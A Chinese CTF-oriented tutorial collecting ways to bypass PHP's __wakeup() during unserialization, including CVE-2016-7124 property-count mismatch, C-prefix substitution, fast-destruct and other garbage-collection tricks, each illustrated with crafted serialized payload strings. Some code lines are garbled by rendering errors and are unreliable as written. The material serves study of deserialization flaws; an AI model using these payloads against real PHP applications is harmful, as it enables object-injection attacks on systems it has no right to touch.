绕过__wakeup() 反序列化 合集

绕过__wakeup() 反序列化 合集_第1张图片

变量引用

这个其实不是语言特性漏洞,而是代码逻辑漏洞。只有在特定代码情况下才会产生

KaTeX parse error: Expected 'EOF', got '&' at position 3: x=&̲a使两个变量同时指向同一个内存地址

利用:
KaTeX parse error: Expected 'EOF', got '&' at position 10: jay17->b=&̲jay17->a;
详细参照** NSS [UUCTF 2022 新生赛]ez_unser、私教web57

C绕过

C代替O能绕过wakeup,但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容。就绕过了wakeup。

O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}
—>
C:4:“User”:2:{}

C绕过-进阶 //愚人杯3rd [easy_php]

__unserialize()魔术方法

条件:PHP 7.4.0+

如果类中同时定义了 __unserialize()__wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效__wakeup() 方法会被忽略。

对象的属性数量不一致

CVE-2016-7124

版本:PHP5 < 5.6.25、PHP7 < 7.0.10

绕过方式:
1.当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
例如:O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}中将变量个数2(s:3:“age”;表示第一个变量的名字,i:20;表示第一个变量的值,因此像这种对象,都是成对出现的,几对就有几个变量)修改为3即可
str_replace(‘:1:’, ‘:2:’,$a);

原理:
反序列化后
由于属性值个数不匹配,被PHP当作垃圾回收。(本质是GC回收机制)
----------------------------------------------------------------------
进一步探索,如果换成类包类的情况,就是类属性还是一个类。

//正常payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}
//内部类属性数量不一致,只触发外部类的__destruct()
O:1:“A”:2:{s:4:“info”;O:1:“B”:2:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}
//外部类属性数量不一致,外类__destruct()内类__wakeup()
O:1:“A”:3:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}

原理:
反序列化,它是先从里面里面开始反序列话,而不是最外面。通俗讲,就是类A里面的属性是类B,反序列化先反序列化类B再反序列化类A。
内部类属性数量不一致,直接把内部类当垃圾回收,所以不触发内部类__wakeup(),只触发外部类的__destruct()。
外部类属性数量不一致,外部类直接被当成垃圾回收,先触发了外部类__destruct(),而内部类正常,就正常触发内部类__wakeup()。

这听起来像fast-destruct,不是像,就是同一个东西,其实本质上都是PHP的GC回收机制罢了。

fast-destruct

本质上就是利用GC回收机制。

方法有两种,删除末尾的花括号、数组对象占用指针(改数字)

$a = new a();
a r r y = a r r a y ( arry = array( arry=array(a,“1234”);
r e s u l t = s e r i a l i z e ( result = serialize( result=serialize(arry);echo $result.“
”;

//正常payload:
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;}
//删除末尾花括号payload:
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;
//数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:0;s:4:“1234”;}

其余GC回收机制利用

也叫 php issue#9618

版本条件:

  • 7.4.x -7.4.30
  • 8.0.x

----------------------------------------------------------------------
**属性键的长度不匹配:

**
//正常payload

O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}
//外部类属性长度异常payload:
//外类__destruct()内类__wakeup()
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:6:“Aend”;s:1:“1”;}
----------------------------------------------------------------------
属性值的长度不匹配:

//正常payload

O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}
//外部类属性长度异常payload:
//外类__destruct()内类__wakeup()
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:2:“1”;}
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“12”;}

----------------------------------------------------------------------
去掉内部类的分号:
注:

  1. 这样内部类直接回收,外部类没事,可以直接不执行内部类的wakeup。
  2. 外部类去掉分号同理。
  3. 如果内部外部类的花括号紧贴,也可以在两个花括号中间加分号,可绕过内部类wakeup。

//正常payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N**;**}s:3:“end”;s:1:“1”;}
//去掉了内部类的分号的payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N}s:3:“end”;s:2:“1”;}

注:使用前提是分号前面这个数据不可以是payload,否则将导致payload无法识别而被抛弃,如果它是一些无关紧要的数据,那就可以随便丢。

GC回收机制的总结

本质上,上面这些 对象的属性数量大于真实值、fast-destruct、其余GC回收机制利用 三个板块都是同一个东西同一个原理。

想要不执行wakup,就必须在有wakup魔术方法的那个类的结构进行破坏,可以采用删除分号或者属性数量不一致的方法。

在存在destruct且恶意方法在destruct情形下的链子,wakup是完全无效的,它不但可以被绕过,甚至可以不被执行

绕过weakup参考文章:

官方wp

CTfshow 卷王杯 easy unserialize(特详)_Jay 17的博客-CSDN博客

PHP的GC垃圾收集机制 - 简书 (jianshu.com)

php反序列化之绕过wakeup – View of Thai

PHP反序列化中wakeup()绕过总结 – fushulingのblog

[绕过__wakeup,先执行外面的类&天翼杯的eval那个题的一个思考_Je3Z的博客-CSDN博客](

你可能感兴趣的:(CTF-web,android,网络安全,web安全,PHP,绕过wakeup,反序列化)